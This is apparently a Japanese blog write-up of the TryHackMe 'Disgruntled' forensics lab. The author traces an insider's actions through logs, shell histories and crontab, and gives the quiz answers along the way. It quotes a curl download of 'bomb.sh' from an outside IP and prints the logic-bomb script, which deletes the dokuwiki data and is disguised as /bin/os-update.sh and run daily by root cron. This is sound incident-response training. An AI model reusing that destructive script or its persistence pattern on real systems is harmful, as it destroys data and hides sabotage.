TryHackMeWriteup：Disgruntled

# 概要
最近忙しくてあまりできてなかったのですが，久しぶりにTHMをやってみました．
今回は[こちら](https://tryhackme.com/r/room/disgruntled)をやります．

# Writeup

## Task1 & Task2
まず標的のマシンにSSHでログインしていきます．
`ssh root@{マシンのIPアドレス}`

Task2はLinuxのコマンドチートシートみたいな感じですかね．
特に必要ない人はいらないかなと思います．

## Task3
root権限で何かをインストールしたみたいですね．
アドバイスとしては[Look at the privileged commands that were run. ]とあります．特権コマンドを見ろとのことですね．

### Q1：The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?  
取り合えずインストールログを見てみましょう．

- `~/.bash_history`を見てみます
```
exit
cd .ssh
ls
automat-visualize3 
cat authorized_keys 
nano authorized_keys 
cat authorized_keys 
exit
cat .ssh/authorized_keys 
exit
```
sshの設定をしてるくらいですかね？automat-visualize3って何でしょう？
特に関係なさそうですね．

- `/var/log/auth.log`を見てみます
ログの量が多いのでgrepで絞ります  
`cat /var/log/auth.log | grep sudo`  
いくつか出てきますがその中に以下のような何かをインストールしている怪しいログがありました．  
`sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki`  
これの`/usr/bin/apt install dokuwiki`  が答えですね．

### Q2：What was the present working directory (PWD) when the previous command was run?
実行された時の作業ディレクトリは上のログより`/home/cybert`ですね．


## Task4
### Q1:Which user was created after the package from the previous task was installed?
先ほどの`dokuwiki`がインストールされた直後に作成されたユーザは先ほどと同様のログの中に書いてあります．  
`sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/adduser it-admin`  
`it-admin`ですね．

### Q2:A user was then later given sudo priveleges. When was the sudoers file updated? (Format: Month Day HH:MM:SS)
このユーザにsudo権限が付与された時間を特定します．  
この情報はいままでのログファイルの中にはないみたいですね．  
なのでsudoersファイルのタイムスタンプを見てみます．  
```
root@ip-10-10-149-152:/etc# stat sudoers
  File: sudoers
  Size: 807             Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 55419       Links: 1
Access: (0440/-r--r-----)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-06-05 09:51:43.311999988 +0000
Modify: 2022-12-28 06:27:45.717125559 +0000
Change: 2022-12-28 06:27:45.717125559 +0000
```
これかなと思いましたが違いましたね．  
ヒントを見てみるとsudoersファイルの編集時には`visudo`が呼ばれるみたいです．  
さっきのログファイルであってたんですね．  
`cat /var/log/auth.log | grep visudo`で検索してみます．  
`Dec 28 06:27:34 ip-10-10-168-55 sudo:   cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudo`が答えになります．

### Q3:A script file was opened using the "vi" text editor. What is the name of this file?
viエディタを使って開いたファイルの名前についてですね
こちらも先ほどのログの中にありました．  
`bomb.sh`です．いかにもやばそうなshファイルですね．

## Task5
### Q1:What is the command used that created the file bomb.sh?
`bomb.sh`の作成に使われたコマンドについてですね．  
先ほどまでのログで`bomb.sh`について検索してみましたが特に何も出てきませんでした．  
なのでsudo権限で作成されたユーザである`it-admin`のログを見てみます．
`cd /home/it-admin`  
`cat ./.bash_history`  
以下がその実行結果です．
```
whoami
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
ls
ls -la
cd ~/
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
sudo vi bomb.sh
ls
rm bomb.sh
sudo nano /etc/crontab
exit
```  
curlでダウンロードしてきてるみたいですね．`curl 10.10.158.38:8080/bomb.sh --output bomb.sh`が答えになります．

### Q2:The file was renamed and moved to a different directory. What is the full path of this file now?
`bomb.sh`のファイル名を変更してどこかに移動したみたいですね．  
ヒントを見ると，`.viminfo`で`vi`の履歴が確認できるみたいですね．  
`cat .viminfo | grep bomb`  
これでは特に何も出てきませんでした．  
`cat .viminfo | grep sh`  
これで検索してみると以下のようなものがヒットしました．  
```
:saveas /bin/os-update.sh
|2,0,1672208983,,"saveas /bin/os-update.sh"
'0  6  0  /bin/os-update.sh
|4,48,6,0,1672208992,"/bin/os-update.sh"
-'  6  0  /bin/os-update.sh
|4,39,6,0,1672208992,"/bin/os-update.sh"
-'  1  0  /bin/os-update.sh
|4,39,1,0,1672208955,"/bin/os-update.sh"
> /bin/os-update.sh
```  
`:saveas`コマンドがあるので何か別のファイル名を変更して保存したんですかね？　　
答えは`/bin/os-update.sh`でした．

### Q3:When was the file from the previous question last modified? (Format: Month Day HH:MM)
`/bin/os-update.sh`は最後にいつ変更されたかについてですね．  
`stat`コマンドでタイムスタンプを見てみます．  
`stat /bin/os-update.sh`  
```
  File: /bin/os-update.sh
  Size: 325             Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 26          Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-12-28 06:29:43.998004273 +0000
Modify: 2022-12-28 06:29:43.998004273 +0000
Change: 2022-12-28 06:29:43.998004273 +0000
 Birth: -
```  
この結果より`Dec 28 06:29`が答えですね．

### Q4:What is the name of the file that will get created when the file from the first question executes?
`bomb.sh`が実行されるときに作成されるファイル名についてですね．  
これは`bomb.sh(/bin/os-update.sh)`を見てみましょう．  
`cat /bin/os-update.sh`  
```
# 2022-06-05 - Initial version
# 2022-10-11 - Fixed bug
# 2022-10-15 - Changed from 30 days to 90 days
OUTPUT=`last -n 1 it-admin -s "-90days" | head -n 1`
if [ -z "$OUTPUT" ]; then
        rm -r /var/lib/dokuwiki
        echo -e "I TOLD YOU YOU'LL REGRET THIS!!! GOOD RIDDANCE!!! HAHAHAHA\n-mistermeist3r" > /goodbye.txt
fi
```  
`it-admin`の最初のログインから90日経ったらdokuwikiを削除するコマンドみたいですね．  
答えは`goodbye.txt`です．

## Task6
### Q1:At what time will the malicious file trigger? (Format: HH:MM AM/PM)
この`/bin/so-update.sh`はいつ実行(dokuwikiディレクトリの削除)されるかですね．  
先ほどのログ`/home/it-admin/.bash_history`の中にcrontabを設定してるログがあったので見てみます．  
`cat /etc/crontab`  
```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
0 8     * * *   root    /bin/os-update.sh
```  
最後の行に`/bin/os-update.sh`の定期実行が確認できますね．これが定期実行される時間は毎日午前８時ですね．  
なので答えは`08:00 AM`となります．

# 最後に
久しぶりのTHMでしたが内容的にもかなり簡単だったので解きやすかったですね．